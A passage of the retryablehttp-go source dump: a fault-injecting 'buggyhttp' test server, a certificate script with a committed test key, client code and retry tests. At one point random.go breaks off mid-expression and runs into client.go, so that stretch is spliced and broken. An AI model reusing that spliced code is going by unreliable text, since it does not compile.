SuccessAfter attempts => after it 200 + body 133 | var count int // as of now a local horrible variable suffice 134 | func successAfter(w http.ResponseWriter, req *http.Request) { 135 | var successAfter int = defaultSuccessAfterThreshold 136 | if req.FormValue("successAfter") != "" { 137 | if i, err := strconv.Atoi(req.FormValue("successAfter")); err == nil { 138 | successAfter = i 139 | } 140 | } 141 | 142 | count++ 143 | if count <= successAfter { 144 | hj, _ := w.(http.Hijacker) 145 | conn, bufrw, _ := hj.Hijack() 146 | defer conn.Close() 147 | // reply with bogus data - this should either crash the client or trigger a recoverable error on 148 | // default retryablehttp requests 149 | _, _ = bufrw.WriteString("HHHTTP\\1,.1 -500 MAYBEOK\n" + 150 | "Date: Mon, 27 Jul 2009 12:28:53 GMT\n" + 151 | "Server: Apache/2.2.14 (Win32)\n" + 152 | "Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT\n" + 153 | "Content-Length: -124\n" + 154 | "Content-Type: whatzdacontenttype\n" + 155 | "Connection: drunk") 156 | bufrw.Flush() 157 | return 158 | } 159 | 160 | // zeroes attempts and return 200 + valid body 161 | count = 0 162 | fmt.Fprintf(w, "foo") 163 | } 164 | 165 | 166 | 167 | var ( 168 | server *http.Server 169 | serverTLS *http.Server 170 | ) 171 | 172 | // Listen on specified port 173 | func Listen(port int) { 174 | 175 | mux := http.NewServeMux() 176 | mux.HandleFunc("/foo", foo) 177 | mux.HandleFunc("/successAfter", successAfter) 178 | mux.HandleFunc("/emptyResponse", emptyResponse) 179 | mux.HandleFunc("/unexpectedEOF", unexpectedEOF) 180 | mux.HandleFunc("/endlessBody", endlessBody) 181 | mux.HandleFunc("/endlessWaitTime", endlessWaitTime) 182 | mux.HandleFunc("/superSlow", superSlow) 183 | mux.HandleFunc("/messyHeaders", messyHeaders) 184 | mux.HandleFunc("/messyEncoding", messyEncoding) 185 | mux.HandleFunc("/infiniteRedirects", infiniteRedirects) 186 | 187 | server = &http.Server{ 188 | Addr: fmt.Sprintf(":%d", port), 189 | Handler: mux, 190 | } 191 | 192 | go server.ListenAndServe() //nolint 193 | } 194 | 195 | // ListenTLS because buggyhttp also supports bugged TLS 196 | func ListenTLS(port int, certFile, keyFile string) { 197 | serverTLS = &http.Server{ 198 | Addr: fmt.Sprintf(":%d", port), 199 | Handler: newMux(), 200 | } 201 | 202 | go serverTLS.ListenAndServeTLS(certFile, keyFile) //nolint 203 | } 204 | 205 | func newMux() *http.ServeMux { 206 | mux := http.NewServeMux() 207 | mux.HandleFunc("/foo", foo) 208 | mux.HandleFunc("/successAfter", successAfter) 209 | mux.HandleFunc("/emptyResponse", emptyResponse) 210 | mux.HandleFunc("/unexpectedEOF", unexpectedEOF) 211 | mux.HandleFunc("/endlessBody", endlessBody) 212 | mux.HandleFunc("/endlessWaitTime", endlessWaitTime) 213 | mux.HandleFunc("/superSlow", superSlow) 214 | mux.HandleFunc("/messyHeaders", messyHeaders) 215 | mux.HandleFunc("/infiniteRedirects", infiniteRedirects) 216 | return mux 217 | } 218 | 219 | // Stop the server 220 | func Stop() { 221 | if server != nil { 222 | _ = server.Shutdown(context.Background()) 223 | } 224 | if serverTLS != nil { 225 | _ = serverTLS.Shutdown(context.Background()) 226 | } 227 | } 228 | -------------------------------------------------------------------------------- /buggyhttp/cmd/generateCA.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Generate private key (.key) 4 | # Key considerations for algorithm "RSA" ≥ 2048-bit 5 | openssl genrsa -out server.key 2048 6 | 7 | # Key considerations for algorithm "ECDSA" (X25519 || ≥ secp384r1) 8 | # https://safecurves.cr.yp.to/ 9 | # List ECDSA the supported curves (openssl ecparam -list_curves) 10 | openssl ecparam -genkey -name secp384r1 -out server.key 11 | 12 | #Generation of self-signed(x509) public key (PEM-encodings .pem|.crt) based on the private (.key) 13 | openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650 14 | -------------------------------------------------------------------------------- /buggyhttp/cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/signal" 7 | "sync" 8 | 9 | "github.com/projectdiscovery/retryablehttp-go/buggyhttp" 10 | ) 11 | 12 | func WaitForCtrlC() { 13 | var endwaiter sync.WaitGroup 14 | endwaiter.Add(1) 15 | signalchannel := make(chan os.Signal, 1) 16 | signal.Notify(signalchannel, os.Interrupt) 17 | go func() { 18 | <-signalchannel 19 | endwaiter.Done() 20 | }() 21 | endwaiter.Wait() 22 | } 23 | 24 | func main() { 25 | buggyhttp.Listen(8080) 26 | buggyhttp.ListenTLS(8081, "server.crt", "server.key") 27 | fmt.Printf("Press Ctrl+C to end\n") 28 | WaitForCtrlC() 29 | fmt.Printf("\n") 30 | } 31 | -------------------------------------------------------------------------------- /buggyhttp/cmd/server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIICHDCCAaKgAwIBAgIUWDeUtlrejBA1gG/II1ZCxIVlNiIwCgYIKoZIzj0EAwIw 3 | RTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGElu 4 | dGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMDAyMTQxMjUyMDVaFw0zMDAyMTEx 5 | MjUyMDVaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYD 6 | VQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwdjAQBgcqhkjOPQIBBgUrgQQA 7 | IgNiAASkA65LD8EVCSzC31LeZSMLUIHXyR9JnKv2jphA0YKvMOJTjTJdLHqFZT3t 8 | pjJfBNuNQ0C7tYzrEiiYxoxzmmbdfyFd3USc6xASpx4D+fG/Iah559HreefsKOem 9 | qv7IubyjUzBRMB0GA1UdDgQWBBSurV7yEclNVZU78mtG+DWE0e1tbTAfBgNVHSME 10 | GDAWgBSurV7yEclNVZU78mtG+DWE0e1tbTAPBgNVHRMBAf8EBTADAQH/MAoGCCqG 11 | SM49BAMCA2gAMGUCMQCyJtHdPAkbOAqel5oFJqio6xdH5PmoojV4vlWCnEvgaoST 12 | clTJ7Q6JWKWii2tKwl8CMChMVFAHjhzaNXq0Iou+XvYel3pZ3FXLLSXrtFlH9vO5 13 | e3doctbFBHyB/GAwhodtwg== 14 | -----END CERTIFICATE----- 15 | -------------------------------------------------------------------------------- /buggyhttp/cmd/server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN EC PARAMETERS----- 2 | BgUrgQQAIg== 3 | -----END EC PARAMETERS----- 4 | -----BEGIN EC PRIVATE KEY----- 5 | MIGkAgEBBDC2cdWT7jGgTaa4JWU5XHo8B4aaE8IJm3EqhdCFGG+QUTu4xtpDclCa 6 | MDKrIX0BRpWgBwYFK4EEACKhZANiAASkA65LD8EVCSzC31LeZSMLUIHXyR9JnKv2 7 | jphA0YKvMOJTjTJdLHqFZT3tpjJfBNuNQ0C7tYzrEiiYxoxzmmbdfyFd3USc6xAS 8 | px4D+fG/Iah559HreefsKOemqv7Iubw= 9 | -----END EC PRIVATE KEY----- 10 | -------------------------------------------------------------------------------- /buggyhttp/random.go: -------------------------------------------------------------------------------- 1 | package buggyhttp 2 | 3 | import ( 4 | "crypto/rand" 5 | "log" 6 | ) 7 | 8 | const ( 9 | letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" // 52 possibilities 10 | letterIdxBits = 6 // 6 bits to represent 64 possibilities / indexes 11 | letterIdxMask = 1< 0 { 123 | httpclient.Timeout = options.Timeout 124 | httpclient2.Timeout = options.Timeout 125 | } 126 | 127 | // if necessary adjusts per-request timeout proportionally to general timeout (30%) 128 | if options.Timeout > time.Second*15 && options.RetryMax > 1 && !options.NoAdjustTimeout { 129 | httpclient.Timeout = time.Duration(options.Timeout.Seconds()*0.3) * time.Second 130 | } 131 | 132 | c := &Client{ 133 | HTTPClient: httpclient, 134 | HTTPClient2: httpclient2, 135 | CheckRetry: retryPolicy, 136 | Backoff: backoff, 137 | options: options, 138 | } 139 | 140 | c.setKillIdleConnections() 141 | return c 142 | } 143 | 144 | // NewWithHTTPClient creates a new Client with custom http client 145 | // Deprecated: Use options.HttpClient 146 | func NewWithHTTPClient(client *http.Client, options Options) *Client { 147 | options.HttpClient = client 148 | return NewClient(options) 149 | } 150 | 151 | // setKillIdleConnections sets the kill idle conns switch in two scenarios 152 | // 1. If the http.Client has settings that require us to do so. 153 | // 2. The user has enabled it by default, in which case we have nothing to do. 154 | func (c *Client) setKillIdleConnections() { 155 | if c.HTTPClient != nil || !c.options.KillIdleConn { 156 | if b, ok := c.HTTPClient.Transport.(*http.Transport); ok { 157 | c.options.KillIdleConn = b.DisableKeepAlives || b.MaxConnsPerHost < 0 158 | } 159 | } 160 | } 161 | -------------------------------------------------------------------------------- /client_test.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | "net/http/httputil" 9 | "os" 10 | "strings" 11 | "testing" 12 | "time" 13 | 14 | "github.com/projectdiscovery/retryablehttp-go/buggyhttp" 15 | urlutil "github.com/projectdiscovery/utils/url" 16 | "github.com/stretchr/testify/require" 17 | ) 18 | 19 | // TestRequest parsing methodology 20 | func TestRequest(t *testing.T) { 21 | // Fails on invalid request 22 | _, err := urlutil.ParseAbsoluteURL("://foo", false) 23 | require.NotNil(t, err) 24 | _, err = NewRequest("GET", "://foo", nil) 25 | require.NotNilf(t, err, "invalid url '://foo' did not fail") 26 | // Works with no request body 27 | _, err = NewRequest("GET", "http://foo", nil) 28 | if err != nil { 29 | t.Fatalf("err: %v", err) 30 | } 31 | 32 | // Works with request body 33 | body := bytes.NewReader([]byte("yo")) 34 | req, err := NewRequest("GET", "/", body) 35 | if err != nil { 36 | t.Fatalf("err: %v", err) 37 | } 38 | 39 | // Request allows typical HTTP request forming methods 40 | req.Header.Set("X-Test", "foo") 41 | if v, ok := req.Header["X-Test"]; !ok || len(v) != 1 || v[0] != "foo" { 42 | t.Fatalf("bad headers: %v", req.Header) 43 | } 44 | 45 | // Sets the Content-Length automatically for LenReaders 46 | if req.ContentLength != 2 { 47 | t.Fatalf("bad ContentLength: %d", req.ContentLength) 48 | } 49 | } 50 | 51 | // TestRequestBody reads request body multiple times 52 | // using httputil.DumpRequestOut 53 | func TestRequestBody(t *testing.T) { 54 | body := bytes.NewReader([]byte("yo")) 55 | req, err := NewRequest("GET", "https://projectdiscovery.io", body) 56 | if err != nil { 57 | t.Fatalf("err: %v", err) 58 | } 59 | 60 | for i := 0; i < 10; i++ { 61 | bin, err := httputil.DumpRequestOut(req.Request, true) 62 | if err != nil { 63 | t.Fatalf("err: %v", err) 64 | } 65 | 66 | if bytes.Equal([]byte("yo"), bin) { 67 | t.Errorf("expected %v but got %v", "yo", string(bin)) 68 | } 69 | } 70 | 71 | } 72 | 73 | // TestFromRequest cloning from an existing request 74 | func TestFromRequest(t *testing.T) { 75 | // Works with no request body 76 | httpReq, err := http.NewRequest("GET", "http://foo", nil) 77 | if err != nil { 78 | t.Fatalf("err: %v", err) 79 | } 80 | _, err = FromRequest(httpReq) 81 | if err != nil { 82 | t.Fatalf("err: %v", err) 83 | } 84 | 85 | // Works with request body 86 | body := bytes.NewReader([]byte("yo")) 87 | httpReq, err = http.NewRequest("GET", "/", body) 88 | if err != nil { 89 | t.Fatalf("err: %v", err) 90 | } 91 | req, err := FromRequest(httpReq) 92 | if err != nil { 93 | t.Fatalf("err: %v", err) 94 | } 95 | 96 | // Preserves headers 97 | httpReq.Header.Set("X-Test", "foo") 98 | if v, ok := req.Header["X-Test"]; !ok || len(v) != 1 || v[0] != "foo" { 99 | t.Fatalf("bad headers: %v", req.Header) 100 | } 101 | 102 | // Preserves the Content-Length automatically for LenReaders 103 | if req.ContentLength != 2 { 104 | t.Fatalf("bad ContentLength: %d", req.ContentLength) 105 | } 106 | } 107 | 108 | // Since normal ways we would generate a Reader have special cases, use a 109 | // custom type here 110 | type custReader struct { 111 | val string 112 | pos int 113 | } 114 | 115 | func (c *custReader) Read(p []byte) (n int, err error) { 116 | if c.val == "" { 117 | c.val = "hello" 118 | } 119 | if c.pos >= len(c.val) { 120 | return 0, io.EOF 121 | } 122 | var i int 123 | for i = 0; i < len(p) && i+c.pos < len(c.val); i++ { 124 | p[i] = c.val[i+c.pos] 125 | } 126 | c.pos += i 127 | return i, nil 128 | } 129 | 130 | // TestClient_Do tests various client body reader versus a generic endpoint 131 | // Expected: Status Code 200 - Limited body size - Zero retries 132 | func TestClient_Do(t *testing.T) { 133 | testBytes := []byte("hello") 134 | // Native func 135 | testClientSuccess_Do(t, testBytes) 136 | // Native func, different Go type 137 | testClientSuccess_Do(t, func() (io.Reader, error) { 138 | return bytes.NewReader(testBytes), nil 139 | }) 140 | // []byte 141 | testClientSuccess_Do(t, testBytes) 142 | // *bytes.Buffer 143 | testClientSuccess_Do(t, bytes.NewBuffer(testBytes)) 144 | // *bytes.Reader 145 | testClientSuccess_Do(t, bytes.NewReader(testBytes)) 146 | // io.ReadSeeker 147 | testClientSuccess_Do(t, strings.NewReader(string(testBytes))) 148 | // io.Reader 149 | testClientSuccess_Do(t, &custReader{}) 150 | } 151 | 152 | // Request to /foo => 200 + valid body 153 | func testClientSuccess_Do(t *testing.T, body interface{}) { 154 | // Create a request 155 | req, err := NewRequest("GET", "http://127.0.0.1:8080/foo", body) 156 | if err != nil { 157 | t.Fatalf("err: %v", err) 158 | } 159 | req.Header.Set("foo", "bar") 160 | 161 | var options Options 162 | options.RetryWaitMin = 10 * time.Millisecond 163 | options.RetryWaitMax = 50 * time.Millisecond 164 | options.RetryMax = 50 165 | 166 | // Track the number of times the logging hook was called 167 | retryCount := -1 168 | 169 | // Create the client. Use short retry windows. 170 | client := NewClient(options) 171 | 172 | client.RequestLogHook = func(req *http.Request, retryNumber int) { 173 | retryCount = retryNumber 174 | 175 | dumpBytes, err := httputil.DumpRequestOut(req, false) 176 | if err != nil { 177 | t.Fatalf("Dumping requests failed %v", err) 178 | } 179 | 180 | dumpString := string(dumpBytes) 181 | if !strings.Contains(dumpString, "GET /foo") { 182 | t.Fatalf("Bad request dump:\n%s", dumpString) 183 | } 184 | } 185 | 186 | // Send the request 187 | doneCh := make(chan struct{}) 188 | errCh := make(chan error, 1) 189 | fn := func() { 190 | defer close(doneCh) 191 | _, err := client.Do(req) 192 | if err != nil { 193 | errCh <- err 194 | } 195 | } 196 | go fn() 197 | select { 198 | case <-doneCh: 199 | // client should have completed 200 | case <-time.After(time.Second): 201 | t.Fatalf("successful request should have been completed") 202 | case error := <-errCh: 203 | t.Fatalf("err: %v", error) 204 | } 205 | 206 | expected := 0 207 | if retryCount != expected { 208 | t.Fatalf("Retries expected %d but got %d", expected, retryCount) 209 | } 210 | } 211 | 212 | // TestClientRetry_Do tests a generic endpoint that simulates some recoverable failures before responding correctly 213 | // Expected: Some recoverable network failures and after 5 retries the library should be able to get Status Code 200 + Valid Body with various backoff stategies 214 | // Request to /successafter => 5 attempts recoverable + at 6th attempt 200 + valid body 215 | func TestClientRetry_Do(t *testing.T) { 216 | expectedRetries := 3 217 | // Create a generic request towards /successAfter passing the number of times before the same request is successful 218 | req, err := NewRequest("GET", fmt.Sprintf("http://127.0.0.1:8080/successAfter?successAfter=%d", expectedRetries), nil) 219 | if err != nil { 220 | t.Fatalf("err: %v", err) 221 | } 222 | 223 | var options Options 224 | options.RetryWaitMin = 10 * time.Millisecond 225 | options.RetryWaitMax = 50 * time.Millisecond 226 | options.RetryMax = 6 227 | 228 | // Create the client. Use short retry windows. 229 | client := NewClient(options) 230 | 231 | // In this point the retry strategy should kick in until a response is succesful 232 | _, err = client.Do(req) 233 | if err != nil { 234 | // if at the end we get a failure then it's unexpected behavior 235 | t.Fatalf("err: %v", err) 236 | } 237 | 238 | // Validate Metrics 239 | if req.Metrics.Retries != expectedRetries { 240 | t.Fatalf("err: retries do not match expected %v but got %v", expectedRetries, req.Metrics.Retries) 241 | } 242 | } 243 | 244 | // TestClientRetryWithBody_Do does same as TestClientRetry_Do but with request body and 5 retries 245 | func TestClientRetryWithBody_Do(t *testing.T) { 246 | expectedRetries := 5 247 | // Create a generic request towards /successAfter passing the number of times before the same request is successful 248 | req, err := NewRequest("GET", fmt.Sprintf("http://127.0.0.1:8080/successAfter?successAfter=%d", expectedRetries), "request with body") 249 | if err != nil { 250 | t.Fatalf("err: %v", err) 251 | } 252 | 253 | var options Options 254 | options.RetryWaitMin = 10 * time.Millisecond 255 | options.RetryWaitMax = 50 * time.Millisecond 256 | options.RetryMax = 6 257 | 258 | // Create the client. Use short retry windows. 259 | client := NewClient(options) 260 | 261 | // In this point the retry strategy should kick in until a response is succesful 262 | _, err = client.Do(req) 263 | if err != nil { 264 | // if at the end we get a failure then it's unexpected behavior 265 | t.Fatalf("err: %v", err) 266 | } 267 | 268 | // Validate Metrics 269 | if req.Metrics.Retries != expectedRetries { 270 | t.Fatalf("err: retries do not match expected %v but got %v", expectedRetries, req.Metrics.Retries) 271 | } 272 | } 273 | 274 | // TestClientEmptyResponse_Do tests a generic endpoint that simulates the server hanging connection immediately (http connection closed by peer) 275 | // Expected: The library should keep on retrying until the final timeout or maximum retries amount 276 | func TestClientEmptyResponse_Do(t *testing.T) { 277 | // Create a request 278 | req, err := NewRequest("GET", "http://127.0.0.1:8080/emptyResponse", nil) 279 | if err != nil { 280 | t.Fatalf("err: %v", err) 281 | } 282 | 283 | var options Options 284 | options.RetryWaitMin = 10 * time.Millisecond 285 | options.RetryWaitMax = 50 * time.Millisecond 286 | options.RetryMax = 6 287 | 288 | // Create the client. Use short retry windows. 289 | client := NewClient(options) 290 | 291 | _, err = client.Do(req) 292 | if err == nil { 293 | // if at the end we get don't failure then it's unexpected behavior 294 | t.Fatalf("err: %v", err) 295 | } 296 | } 297 | 298 | // TestClientUnexpectedEOF_Do tests a generic endpoint that simulates the server hanging the connection in the middle of a valid response (connection failure) 299 | // Expected: The library should keep on retrying until the final timeout or maximum retries amount 300 | func TestClientUnexpectedEOF_Do(t *testing.T) { 301 | // Create a request 302 | req, err := NewRequest("GET", "http://127.0.0.1:8080/unexpectedEOF", nil) 303 | if err != nil { 304 | t.Fatalf("err: %v", err) 305 | } 306 | 307 | var options Options 308 | options.RetryWaitMin = 10 * time.Millisecond 309 | options.RetryWaitMax = 50 * time.Millisecond 310 | options.RetryMax = 6 311 | 312 | // Create the client. Use short retry windows. 313 | client := NewClient(options) 314 | 315 | _, err = client.Do(req) 316 | if err == nil { 317 | // if at the end we get don't failure then it's unexpected behavior 318 | t.Fatalf("err: %v", err) 319 | } 320 | } 321 | 322 | // TestClientEndlessBody_Do tests a generic endpoint that simulates the server delivering an infinite content body 323 | // Expected: The library should read until a certain limit with return code 200 324 | func TestClientEndlessBody_Do(t *testing.T) { 325 | // Create a request 326 | req, err := NewRequest("GET", "http://127.0.0.1:8080/endlessBody", nil) 327 | if err != nil { 328 | t.Fatalf("err: %v", err) 329 | } 330 | 331 | var options Options 332 | options.RetryWaitMin = 10 * time.Millisecond 333 | options.RetryWaitMax = 50 * time.Millisecond 334 | options.RespReadLimit = 4096 335 | options.RetryMax = 6 336 | options.Timeout = time.Duration(5) * time.Second 337 | 338 | // Create the client. Use short retry windows. 339 | client := NewClient(options) 340 | 341 | resp, err := client.Do(req) 342 | if err != nil { 343 | // if at the end we get a failure then it's unexpected behavior 344 | t.Fatalf("err: %v", err) 345 | } 346 | 347 | // Arguably now it's up to the caller to handle the response body 348 | Discard(req, resp, options.RespReadLimit) 349 | } 350 | 351 | // TestClientMessyHeaders_Do tests a generic endpoint that simulates the server sending infinite headers 352 | // Expected: The library should stop reading headers after a certain amount or go into timeout 353 | func TestClientMessyHeaders_Do(t *testing.T) { 354 | // Create a request 355 | req, err := NewRequest("GET", "http://127.0.0.1:8080/messyHeaders", nil) 356 | if err != nil { 357 | t.Fatalf("err: %v", err) 358 | } 359 | 360 | var options Options 361 | options.RetryWaitMin = 10 * time.Millisecond 362 | options.RetryWaitMax = 50 * time.Millisecond 363 | options.RetryMax = 2 364 | 365 | // Create the client. Use short retry windows. 366 | client := NewClient(options) 367 | 368 | resp, err := client.Do(req) 369 | // t.Fatalf("ehhhh") 370 | if err != nil { 371 | // if at the end we get a success then it's unexpected behavior 372 | t.Fatalf("Unexpected fail") 373 | } 374 | 375 | // Arguably now it's up to the caller to handle the response body 376 | Discard(req, resp, options.RespReadLimit) 377 | } 378 | 379 | // TestClientMessyEncoding_Do tests a generic endpoint that simulates the server sending weird encodings in headers 380 | // Expected: The library should be successful as all strings are treated as runes 381 | func TestClientMessyEncoding_Do(t *testing.T) { 382 | // Create a request 383 | req, err := NewRequest("GET", "http://127.0.0.1:8080/messyEncoding", nil) 384 | if err != nil { 385 | t.Fatalf("err: %v", err) 386 | } 387 | 388 | var options Options 389 | options.RetryWaitMin = 10 * time.Millisecond 390 | options.RetryWaitMax = 50 * time.Millisecond 391 | options.RetryMax = 2 392 | 393 | // Create the client. Use short retry windows. 394 | client := NewClient(options) 395 | 396 | resp, err := client.Do(req) 397 | // t.Fatalf("ehhhh") 398 | if err != nil { 399 | // if at the end we get a success then it's unexpected behavior 400 | t.Fatalf("Unexpected fail") 401 | } 402 | 403 | // Arguably now it's up to the caller to handle the response body 404 | Discard(req, resp, options.RespReadLimit) 405 | } 406 | 407 | func TestMain(m *testing.M) { 408 | // start buggyhttp 409 | buggyhttp.Listen(8080) 410 | defer buggyhttp.Stop() 411 | os.Exit(m.Run()) 412 | } 413 | -------------------------------------------------------------------------------- /default_client.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "net/http" 5 | "net/url" 6 | ) 7 | 8 | // DefaultHTTPClient is the http client with DefaultOptionsSingle options. 9 | var DefaultHTTPClient *Client 10 | 11 | func init() { 12 | DefaultHTTPClient = NewClient(DefaultOptionsSingle) 13 | } 14 | 15 | // Get issues a GET to the specified URL. 16 | func Get(url string) (*http.Response, error) { 17 | return DefaultHTTPClient.Get(url) 18 | } 19 | 20 | // Head issues a HEAD to the specified URL. 21 | func Head(url string) (*http.Response, error) { 22 | return DefaultHTTPClient.Head(url) 23 | } 24 | 25 | // Post issues a POST to the specified URL. 26 | func Post(url, bodyType string, body interface{}) (*http.Response, error) { 27 | return DefaultHTTPClient.Post(url, bodyType, body) 28 | } 29 | 30 | // PostForm issues a POST to the specified URL, with data's keys and values 31 | func PostForm(url string, data url.Values) (*http.Response, error) { 32 | return DefaultHTTPClient.PostForm(url, data) 33 | } 34 | -------------------------------------------------------------------------------- /default_client_test.go: -------------------------------------------------------------------------------- 1 | package retryablehttp_test 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "net/http" 7 | "net/http/httptest" 8 | "net/http/httptrace" 9 | "sync" 10 | "sync/atomic" 11 | "testing" 12 | 13 | "github.com/julienschmidt/httprouter" 14 | "github.com/projectdiscovery/retryablehttp-go" 15 | "github.com/stretchr/testify/require" 16 | ) 17 | 18 | // This test is just to make sure that the default client is initialized 19 | // correctly. 20 | func Test_DefaultHttpClient(t *testing.T) { 21 | require.NotNil(t, retryablehttp.DefaultHTTPClient) 22 | resp, err := retryablehttp.DefaultHTTPClient.Get("https://scanme.sh") 23 | require.Nil(t, err) 24 | require.NotNil(t, resp) 25 | } 26 | 27 | func TestConnectionReuse(t *testing.T) { 28 | opts := retryablehttp.DefaultOptionsSingle 29 | client := retryablehttp.NewClient(opts) 30 | 31 | router := httprouter.New() 32 | router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { 33 | fmt.Fprintf(w, "this is a test") 34 | }) 35 | ts := httptest.NewServer(router) 36 | defer ts.Close() 37 | 38 | trace := &httptrace.ClientTrace{} 39 | totalConns := &atomic.Uint32{} 40 | trace.ConnectStart = func(network, addr string) { 41 | _ = totalConns.Add(1) 42 | } 43 | 44 | var wg sync.WaitGroup 45 | 46 | for i := 0; i < 5; i++ { 47 | wg.Add(1) 48 | go func() { 49 | defer wg.Done() 50 | 51 | for i := 0; i < 20; i++ { 52 | req, err := retryablehttp.NewRequest("GET", ts.URL, nil) 53 | require.Nil(t, err) 54 | req.WithContext(httptrace.WithClientTrace(req.Context(), trace)) 55 | resp, err := client.Do(req) 56 | require.Nil(t, err) 57 | _, _ = io.Copy(io.Discard, resp.Body) 58 | resp.Body.Close() 59 | } 60 | }() 61 | } 62 | 63 | wg.Wait() 64 | // total number of connections depends on various factors 65 | // like idle timeout and network condtions etc but in any case 66 | // it should be less than 10 67 | require.LessOrEqual(t, totalConns.Load(), uint32(10), "connection reuse failed") 68 | } 69 | -------------------------------------------------------------------------------- /do.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "context" 5 | "crypto/tls" 6 | "fmt" 7 | "io" 8 | "net/http" 9 | "net/http/httptrace" 10 | "time" 11 | 12 | dac "github.com/Mzack9999/go-http-digest-auth-client" 13 | stringsutil "github.com/projectdiscovery/utils/strings" 14 | ) 15 | 16 | // PassthroughErrorHandler is an ErrorHandler that directly passes through the 17 | // values from the net/http library for the final request. The body is not 18 | // closed. 19 | func PassthroughErrorHandler(resp *http.Response, err error, _ int) (*http.Response, error) { 20 | return resp, err 21 | } 22 | 23 | // Do wraps calling an HTTP method with retries. 24 | func (c *Client) Do(req *Request) (*http.Response, error) { 25 | var resp *http.Response 26 | var err error 27 | 28 | // Create a main context that will be used as the main timeout 29 | mainCtx, cancel := context.WithTimeout(context.Background(), c.options.Timeout) 30 | defer cancel() 31 | 32 | retryMax := c.options.RetryMax 33 | if ctxRetryMax := req.Context().Value(RETRY_MAX); ctxRetryMax != nil { 34 | if maxRetriesParsed, ok := ctxRetryMax.(int); ok { 35 | retryMax = maxRetriesParsed 36 | } 37 | } 38 | 39 | for i := 0; ; i++ { 40 | // request body can be read multiple times 41 | // hence no need to rewind it 42 | if c.RequestLogHook != nil { 43 | c.RequestLogHook(req.Request, i) 44 | } 45 | 46 | if c.options.Trace { 47 | c.wrapContextWithTrace(req) 48 | } 49 | 50 | if req.hasAuth() && req.Auth.Type == DigestAuth { 51 | digestTransport := dac.NewTransport(req.Auth.Username, req.Auth.Password) 52 | digestTransport.HTTPClient = c.HTTPClient 53 | resp, err = digestTransport.RoundTrip(req.Request) 54 | } else { 55 | // Attempt the request with standard behavior 56 | resp, err = c.HTTPClient.Do(req.Request) 57 | } 58 | 59 | // Check if we should continue with retries. 60 | checkOK, checkErr := c.CheckRetry(req.Context(), resp, err) 61 | 62 | // if err is equal to missing minor protocol version retry with http/2 63 | if err != nil && stringsutil.ContainsAny(err.Error(), "net/http: HTTP/1.x transport connection broken: malformed HTTP version \"HTTP/2\"", "net/http: HTTP/1.x transport connection broken: malformed HTTP response") { 64 | resp, err = c.HTTPClient2.Do(req.Request) 65 | checkOK, checkErr = c.CheckRetry(req.Context(), resp, err) 66 | } 67 | 68 | if err != nil { 69 | // Increment the failure counter as the request failed 70 | req.Metrics.Failures++ 71 | } else { 72 | // Call this here to maintain the behavior of logging all requests, 73 | // even if CheckRetry signals to stop. 74 | if c.ResponseLogHook != nil { 75 | // Call the response logger function if provided. 76 | c.ResponseLogHook(resp) 77 | } 78 | } 79 | 80 | // Now decide if we should continue. 81 | if !checkOK { 82 | if checkErr != nil { 83 | err = checkErr 84 | } 85 | c.closeIdleConnections() 86 | return resp, err 87 | } 88 | 89 | // We do this before drainBody beause there's no need for the I/O if 90 | // we're breaking out 91 | remain := retryMax - i 92 | if remain <= 0 { 93 | break 94 | } 95 | 96 | // Increment the retries counter as we are going to do one more retry 97 | req.Metrics.Retries++ 98 | 99 | // We're going to retry, consume any response to reuse the connection. 100 | if err == nil && resp != nil { 101 | c.drainBody(req, resp) 102 | } 103 | 104 | // Wait for the time specified by backoff then retry. 105 | // If the context is cancelled however, return. 106 | wait := c.Backoff(c.options.RetryWaitMin, c.options.RetryWaitMax, i, resp) 107 | 108 | // Exit if the main context or the request context is done 109 | // Otherwise, wait for the duration and try again. 110 | // use label to explicitly specify what to break 111 | selectstatement: 112 | select { 113 | case <-mainCtx.Done(): 114 | break selectstatement 115 | case <-req.Context().Done(): 116 | c.closeIdleConnections() 117 | return nil, req.Context().Err() 118 | case <-time.After(wait): 119 | } 120 | } 121 | 122 | if c.ErrorHandler != nil { 123 | c.closeIdleConnections() 124 | return c.ErrorHandler(resp, err, retryMax+1) 125 | } 126 | 127 | // By default, we close the response body and return an error without 128 | // returning the response 129 | if resp != nil { 130 | resp.Body.Close() 131 | } 132 | c.closeIdleConnections() 133 | return nil, fmt.Errorf("%s %s giving up after %d attempts: %w", req.Method, req.URL, retryMax+1, err) 134 | } 135 | 136 | // Try to read the response body so we can reuse this connection. 137 | func (c *Client) drainBody(req *Request, resp *http.Response) { 138 | _, err := io.Copy(io.Discard, io.LimitReader(resp.Body, c.options.RespReadLimit)) 139 | if err != nil { 140 | req.Metrics.DrainErrors++ 141 | } 142 | resp.Body.Close() 143 | } 144 | 145 | const closeConnectionsCounter = 100 146 | 147 | func (c *Client) closeIdleConnections() { 148 | if c.options.KillIdleConn { 149 | if c.requestCounter.Load() < closeConnectionsCounter { 150 | c.requestCounter.Add(1) 151 | } else { 152 | c.requestCounter.Store(0) 153 | c.HTTPClient.CloseIdleConnections() 154 | } 155 | } 156 | } 157 | 158 | func (c *Client) wrapContextWithTrace(req *Request) { 159 | traceInfo := &TraceInfo{} 160 | trace := &httptrace.ClientTrace{ 161 | GotConn: func(connInfo httptrace.GotConnInfo) { 162 | traceInfo.GotConn = TraceEventInfo{ 163 | Time: time.Now(), 164 | Info: connInfo, 165 | } 166 | }, 167 | DNSDone: 